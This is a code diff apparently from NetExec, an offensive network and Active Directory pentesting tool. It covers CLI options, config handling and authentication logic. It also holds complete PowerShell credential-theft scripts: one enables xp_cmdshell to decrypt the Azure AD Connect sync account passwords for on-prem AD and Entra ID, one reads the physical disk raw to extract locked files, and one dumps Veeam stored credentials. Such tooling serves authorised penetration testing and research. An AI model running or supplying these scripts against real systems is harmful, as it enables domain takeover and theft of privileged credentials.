credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
|
||||
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
|
||||
kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
|
||||
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
|
||||
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
|
||||
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
|
||||
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
|
||||
|
||||
certificate_group = std_parser.add_argument_group("Certificate Authentication")
|
||||
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
|
||||
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
|
||||
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
|
||||
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
|
||||
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
@@ -116,7 +118,7 @@ def gen_cli_args():
|
||||
except Exception as e:
|
||||
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
|
||||
|
||||
argcomplete.autocomplete(parser)
|
||||
argcomplete.autocomplete(parser, always_complete_options=False)
|
||||
args = parser.parse_args()
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
@@ -124,14 +126,14 @@ def gen_cli_args():
|
||||
sys.exit(1)
|
||||
|
||||
if args.version:
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT}")
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
|
||||
sys.exit(1)
|
||||
|
||||
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
|
||||
if hasattr(args, "get_output_tries"):
|
||||
args.get_output_tries = args.get_output_tries * 10
|
||||
|
||||
return args
|
||||
return args, [CODENAME, VERSION, COMMIT, DISTANCE]
|
||||
|
||||
|
||||
def get_module_names():
|
||||
|
||||
+10
-7
@@ -1,7 +1,6 @@
|
||||
import os
|
||||
from os.path import join as path_join
|
||||
import configparser
|
||||
from nxc.paths import NXC_PATH, DATA_PATH
|
||||
from nxc.paths import DATA_PATH, CONFIG_PATH
|
||||
from nxc.first_run import first_run_setup
|
||||
from nxc.logger import nxc_logger
|
||||
from ast import literal_eval
|
||||
@@ -10,20 +9,25 @@ nxc_default_config = configparser.ConfigParser()
|
||||
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
|
||||
|
||||
nxc_config = configparser.ConfigParser()
|
||||
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
|
||||
nxc_config.read(CONFIG_PATH)
|
||||
|
||||
if "nxc" not in nxc_config.sections():
|
||||
first_run_setup()
|
||||
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
|
||||
nxc_config.read(CONFIG_PATH)
|
||||
|
||||
# Check if there are any missing options in the config file
|
||||
for section in nxc_default_config.sections():
|
||||
if not nxc_config.has_section(section):
|
||||
nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
|
||||
nxc_config.add_section(section)
|
||||
with open(CONFIG_PATH, "w") as config_file:
|
||||
nxc_config.write(config_file)
|
||||
for option in nxc_default_config.options(section):
|
||||
if not nxc_config.has_option(section, option):
|
||||
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
|
||||
nxc_config.set(section, option, nxc_default_config.get(section, option))
|
||||
|
||||
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
|
||||
with open(CONFIG_PATH, "w") as config_file:
|
||||
nxc_config.write(config_file)
|
||||
|
||||
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
|
||||
@@ -32,9 +36,8 @@ pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
|
||||
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
|
||||
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
|
||||
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
|
||||
ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
|
||||
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
|
||||
|
||||
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
|
||||
|
||||
if len(host_info_colors) != 4:
|
||||
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
|
||||
|
||||
+58
-31
@@ -1,4 +1,9 @@
|
||||
from datetime import datetime
|
||||
import os
|
||||
import random
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
from os.path import isfile
|
||||
from threading import BoundedSemaphore
|
||||
from functools import wraps
|
||||
@@ -12,11 +17,11 @@ from nxc.helpers.logger import highlight
|
||||
from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
global_failed_logins = 0
|
||||
@@ -85,6 +90,8 @@ def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
|
||||
def requires_admin(func):
|
||||
def _decorator(self, *args, **kwargs):
|
||||
if self.admin_privs is False:
|
||||
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
|
||||
return func(self, *args, **kwargs)
|
||||
return None
|
||||
return func(self, *args, **kwargs)
|
||||
|
||||
@@ -128,11 +135,17 @@ class connection:
|
||||
self.db = db
|
||||
self.logger = nxc_logger
|
||||
self.conn = None
|
||||
self.output_file_template = None
|
||||
self.output_filename = None
|
||||
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
|
||||
self.kerberos = bool(self.args.kerberos or
|
||||
self.args.use_kcache or
|
||||
self.args.aesKey or
|
||||
(hasattr(self.args, "delegate") and self.args.delegate) or
|
||||
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
@@ -146,6 +159,7 @@ class connection:
|
||||
self.kdcHost = self.args.kdcHost
|
||||
self.port = self.args.port
|
||||
self.local_ip = None
|
||||
self.dns_server = self.args.dns_server
|
||||
|
||||
# DNS resolution
|
||||
dns_result = self.resolver(target)
|
||||
@@ -154,16 +168,21 @@ class connection:
|
||||
else:
|
||||
return
|
||||
|
||||
if self.args.kerberos:
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
except FileNotFoundError as e:
|
||||
self.logger.error(f"File not found error on target {target}: {e}")
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
|
||||
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
|
||||
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
|
||||
else:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
finally:
|
||||
@@ -200,13 +219,16 @@ class connection:
|
||||
def create_conn_obj(self):
|
||||
return
|
||||
|
||||
def disconnect(self):
|
||||
return
|
||||
|
||||
def check_if_admin(self):
|
||||
return
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
return
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
def plaintext_login(self, username, password):
|
||||
return
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
@@ -220,7 +242,16 @@ class connection:
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(NXC_PATH, "logs")
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
# Default output filename for logs
|
||||
self.output_filename = os.path.join(base_log_dir, filename_pattern)
|
||||
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
@@ -228,6 +259,7 @@ class connection:
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
self.disconnect()
|
||||
|
||||
def call_cmd_args(self):
|
||||
"""Calls all the methods specified by the command line arguments
|
||||
@@ -262,7 +294,7 @@ class connection:
|
||||
extra={
|
||||
"module_name": module.name.upper(),
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname,
|
||||
},
|
||||
)
|
||||
@@ -271,11 +303,6 @@ class connection:
|
||||
context = Context(self.db, module_logger, self.args)
|
||||
context.localip = self.local_ip
|
||||
|
||||
if hasattr(module, "on_request") or hasattr(module, "has_response"):
|
||||
self.logger.debug(f"Module {module.name} has on_request or has_response methods")
|
||||
self.server.connection = self
|
||||
self.server.context.localip = self.local_ip
|
||||
|
||||
if hasattr(module, "on_login"):
|
||||
self.logger.debug(f"Module {module.name} has on_login method")
|
||||
module.on_login(context, self)
|
||||
@@ -284,13 +311,8 @@ class connection:
|
||||
self.logger.debug(f"Module {module.name} has on_admin_login method")
|
||||
module.on_admin_login(context, self)
|
||||
|
||||
if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
|
||||
self.logger.debug(f"Module {module.name} has on_shutdown method")
|
||||
module.on_shutdown(context, self)
|
||||
|
||||
def inc_failed_login(self, username):
|
||||
global global_failed_logins
|
||||
global user_failed_logins
|
||||
global global_failed_logins, user_failed_logins
|
||||
|
||||
if username not in user_failed_logins:
|
||||
user_failed_logins[username] = 0
|
||||
@@ -300,8 +322,7 @@ class connection:
|
||||
self.failed_logins += 1
|
||||
|
||||
def over_fail_limit(self, username):
|
||||
global global_failed_logins
|
||||
global user_failed_logins
|
||||
global global_failed_logins, user_failed_logins
|
||||
|
||||
if global_failed_logins == self.args.gfail_limit:
|
||||
return True
|
||||
@@ -309,7 +330,7 @@ class connection:
|
||||
if self.failed_logins == self.args.fail_limit:
|
||||
return True
|
||||
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
|
||||
return True
|
||||
|
||||
return False
|
||||
@@ -373,10 +394,10 @@ class connection:
|
||||
if isfile(user):
|
||||
with open(user) as user_file:
|
||||
for line in user_file:
|
||||
if "\\" in line:
|
||||
if "\\" in line and len(line.split("\\")) == 2:
|
||||
domain_single, username_single = line.split("\\")
|
||||
else:
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
|
||||
username_single = line
|
||||
domain.append(domain_single)
|
||||
username.append(username_single.strip())
|
||||
@@ -385,7 +406,7 @@ class connection:
|
||||
if "\\" in user:
|
||||
domain_single, username_single = user.split("\\")
|
||||
else:
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
|
||||
username_single = user
|
||||
domain.append(domain_single)
|
||||
username.append(username_single)
|
||||
@@ -414,14 +435,14 @@ class connection:
|
||||
with open(ntlm_hash) as ntlm_hash_file:
|
||||
for i, line in enumerate(ntlm_hash_file):
|
||||
line = line.strip()
|
||||
if len(line) != 32 and len(line) != 65:
|
||||
if len(line) != 32 and len(line) != 65 and len(line) != 0:
|
||||
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
|
||||
continue
|
||||
else:
|
||||
secret.append(line)
|
||||
cred_type.append("hash")
|
||||
else:
|
||||
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
|
||||
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
|
||||
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
|
||||
exit(1)
|
||||
else:
|
||||
@@ -463,8 +484,6 @@ class connection:
|
||||
return False
|
||||
if self.args.continue_on_success and owned:
|
||||
return False
|
||||
if hasattr(self.args, "delegate") and self.args.delegate:
|
||||
self.args.kerberos = True
|
||||
|
||||
if self.args.jitter:
|
||||
jitter = self.args.jitter
|
||||
@@ -479,7 +498,7 @@ class connection:
|
||||
|
||||
with sem:
|
||||
if cred_type == "plaintext":
|
||||
if self.args.kerberos:
|
||||
if self.kerberos:
|
||||
self.logger.debug("Trying to authenticate using Kerberos")
|
||||
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
|
||||
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
|
||||
@@ -492,7 +511,7 @@ class connection:
|
||||
self.logger.debug("Trying to authenticate using plaintext")
|
||||
return self.plaintext_login(username, secret)
|
||||
elif cred_type == "hash":
|
||||
if self.args.kerberos:
|
||||
if self.kerberos:
|
||||
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
|
||||
return self.hash_login(domain, username, secret)
|
||||
elif cred_type == "aesKey":
|
||||
@@ -539,9 +558,17 @@ class connection:
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
return True
|
||||
|
||||
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
|
||||
self.logger.debug("Trying to authenticate using Certificate pfx")
|
||||
if not self.args.username:
|
||||
self.logger.fail("You must specify a username when using certificate authentication")
|
||||
return False
|
||||
with sem:
|
||||
return pfx_auth(self)
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
|
||||
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
return False
|
||||
|
||||
+4
-2
@@ -1,6 +1,8 @@
|
||||
import configparser
|
||||
import os
|
||||
|
||||
from nxc.paths import NXC_PATH, CONFIG_PATH
|
||||
|
||||
|
||||
class Context:
|
||||
def __init__(self, db, logger, args):
|
||||
@@ -8,10 +10,10 @@ class Context:
|
||||
setattr(self, key, value)
|
||||
|
||||
self.db = db
|
||||
self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
|
||||
self.log_folder_path = os.path.join(NXC_PATH, "logs")
|
||||
self.localip = None
|
||||
|
||||
self.conf = configparser.ConfigParser()
|
||||
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
|
||||
self.conf.read(CONFIG_PATH)
|
||||
|
||||
self.log = logger
|
||||
@@ -0,0 +1,82 @@
|
||||
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
|
||||
# Modified by @NeffIsBack:
|
||||
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
|
||||
|
||||
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
|
||||
function decrypter($crypted, $key_id, $instance_id, $entropy) {
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
|
||||
$decrypted = [string]::Empty
|
||||
|
||||
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
|
||||
$decrypted += $reader.GetString(0)
|
||||
}
|
||||
$reader.Close()
|
||||
|
||||
if ($decrypted -eq [string]::Empty) {
|
||||
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
|
||||
return
|
||||
}
|
||||
|
||||
return $decrypted
|
||||
}
|
||||
|
||||
# Create a connection to the localdb instance of Azure AD Connect
|
||||
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
|
||||
|
||||
try {
|
||||
$client.Open()
|
||||
} catch {
|
||||
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
|
||||
return
|
||||
}
|
||||
|
||||
function f {
|
||||
param ($q)
|
||||
$c = $client.CreateCommand()
|
||||
$c.CommandText = $q
|
||||
$r = $c.ExecuteReader()
|
||||
if (-not $r.Read()) {
|
||||
Write-Host "[!] Error querying: $q"
|
||||
return
|
||||
}
|
||||
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
|
||||
$r.Close()
|
||||
return $res
|
||||
}
|
||||
|
||||
# Get keyset_id, instance_id, entropy
|
||||
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
if (-not $out) { return }
|
||||
$key_id, $instance_id, $entropy = $out
|
||||
|
||||
# Get and decrypt on-prem AD credentials
|
||||
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
|
||||
if (-not $out) { return }
|
||||
$on_prem, $c = $out
|
||||
$pd = decrypter $c $key_id $instance_id $entropy
|
||||
|
||||
# Get and decrypt Entra ID sync credentials
|
||||
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
|
||||
if (-not $out) { return }
|
||||
$entra, $c = $out
|
||||
$qd = decrypter $c $key_id $instance_id $entropy
|
||||
|
||||
|
||||
|
||||
# Extract the credentials from the decrypted XML configurations
|
||||
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
|
||||
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
|
||||
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
|
||||
|
||||
Write-Host "On-prem Domain: $($domain.Domain)"
|
||||
Write-Host "On-prem Username: $($username.Username)"
|
||||
Write-Host "On-prem Password: $($pw.Password)"
|
||||
|
||||
# Extract the Entra ID sync credentials
|
||||
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
|
||||
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
|
||||
Write-Host "Entra ID Username: $($entra_user)"
|
||||
Write-Host "Entra ID Password: $($entra_pw.Password)"
|
||||
@@ -1,65 +0,0 @@
|
||||
$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
|
||||
$db=@(cmd /c $sqlbin info | findstr /i ADSy)
|
||||
|
||||
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
|
||||
|
||||
try {
|
||||
$client.Open()
|
||||
} catch {
|
||||
Write-Host "[!] Could not connect to localdb..."
|
||||
return
|
||||
}
|
||||
|
||||
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
|
||||
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
if ($reader.Read() -ne $true) {
|
||||
Write-Host "[!] Error querying mms_server_configuration"
|
||||
return
|
||||
}
|
||||
|
||||
$key_id = $reader.GetInt32(0)
|
||||
$instance_id = $reader.GetGuid(1)
|
||||
$entropy = $reader.GetGuid(2)
|
||||
$reader.Close()
|
||||
|
||||
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
|
||||
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
if ($reader.Read() -ne $true) {
|
||||
Write-Host "[!] Error querying mms_management_agent"
|
||||
return
|
||||
}
|
||||
|
||||
$config = $reader.GetString(0)
|
||||
$crypted = $reader.GetString(1)
|
||||
$reader.Close()
|
||||
|
||||
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
|
||||
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
|
||||
$decrypted = [string]::Empty
|
||||
|
||||
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
|
||||
$decrypted += $reader.GetString(0)
|
||||
}
|
||||
|
||||
if ($decrypted -eq [string]::Empty) {
|
||||
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
|
||||
return
|
||||
}
|
||||
|
||||
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
|
||||
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
|
||||
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
|
||||
|
||||
Write-Host "Domain: $($domain.Domain)"
|
||||
Write-Host "Username: $($username.Username)"
|
||||
Write-Host "Password: $($password.Password)"
|
||||
@@ -0,0 +1,95 @@
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
|
||||
public class CNativeMethods
|
||||
{
|
||||
public const uint GENERIC_READ = 0x80000000;
|
||||
public const uint OPEN_EXISTING = 3;
|
||||
public const uint FILE_SHARE_READ = 0x00000001;
|
||||
public const uint FILE_SHARE_WRITE = 0x00000002;
|
||||
public const uint FILE_SHARE_DELETE = 0x00000004;
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern SafeFileHandle CreateFile(
|
||||
string lpFileName,
|
||||
uint dwDesiredAccess,
|
||||
uint dwShareMode,
|
||||
IntPtr lpSecurityAttributes,
|
||||
uint dwCreationDisposition,
|
||||
uint dwFlagsAndAttributes,
|
||||
IntPtr hTemplateFile
|
||||
);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool ReadFile(
|
||||
SafeFileHandle hFile,
|
||||
byte[] lpBuffer,
|
||||
uint nNumberOfBytesToRead,
|
||||
out uint lpNumberOfBytesRead,
|
||||
IntPtr lpOverlapped
|
||||
);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool SetFilePointerEx(
|
||||
SafeFileHandle hFile,
|
||||
long lDistanceToMove,
|
||||
out long lpNewFilePointer,
|
||||
uint dwMoveMethod
|
||||
);
|
||||
}
|
||||
|
||||
public enum EMoveMethod : uint
|
||||
{
|
||||
Begin = 0,
|
||||
Current = 1,
|
||||
End = 2
|
||||
}
|
||||
"@
|
||||
Function read_disk{
|
||||
$offset = [long]$args[0]
|
||||
$size = [int]$args[1]
|
||||
try {
|
||||
$handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0",
|
||||
[CNativeMethods]::GENERIC_READ,
|
||||
[CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE,
|
||||
[IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
|
||||
|
||||
if ($handle.IsInvalid) {
|
||||
throw "Failed to create file handle"
|
||||
}
|
||||
|
||||
$moveToHigh = 0
|
||||
$success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
|
||||
if (-not $success) {
|
||||
throw "Failed to set file pointer"
|
||||
}
|
||||
|
||||
$buffer = New-Object byte[] $size
|
||||
$bytesRead = 0
|
||||
$success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
|
||||
|
||||
if (-not $success) {
|
||||
throw "Failed to read file"
|
||||
}
|
||||
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
|
||||
$gzipStream.Write($buffer, 0, $buffer.Length)
|
||||
$gzipStream.Close()
|
||||
|
||||
$compressedBytes = $memoryStream.ToArray()
|
||||
$compressedBase64 = [Convert]::ToBase64String($compressedBytes)
|
||||
|
||||
Write-Output $compressedBase64
|
||||
} catch {
|
||||
Write-Error "An error occurred: $_"
|
||||
}
|
||||
|
||||
finally {
|
||||
if ($handle -and !$handle.IsInvalid) {
|
||||
$handle.Close()
|
||||
}
|
||||
}
|
||||
}
|
||||
+4
-1
@@ -5,8 +5,8 @@ pwn3d_label = Pwn3d!
|
||||
audit_mode =
|
||||
reveal_chars_of_pwd = 0
|
||||
log_mode = False
|
||||
ignore_opsec = True
|
||||
host_info_colors = ["green", "red", "yellow", "cyan"]
|
||||
check_guest_account = False
|
||||
|
||||
[BloodHound]
|
||||
bh_enabled = False
|
||||
@@ -15,6 +15,9 @@ bh_port = 7687
|
||||
bh_user = neo4j
|
||||
bh_pass = bloodhoundcommunityedition
|
||||
|
||||
[BloodHound-CE]
|
||||
bhce_enabled = True
|
||||
|
||||
[Empire]
|
||||
api_host = 127.0.0.1
|
||||
api_port = 1337
|
||||
|
||||
Binary file not shown.
@@ -1,9 +1,10 @@
|
||||
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
|
||||
$SqlServerName = "REPLACE_ME_SqlServer"
|
||||
$SqlInstanceName = "REPLACE_ME_SqlInstance"
|
||||
$b64Salt = "REPLACE_ME_b64Salt"
|
||||
|
||||
#Forming the connection string
|
||||
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$auth = "Integrated Security=SSPI;" #Local user
|
||||
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
|
||||
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
|
||||
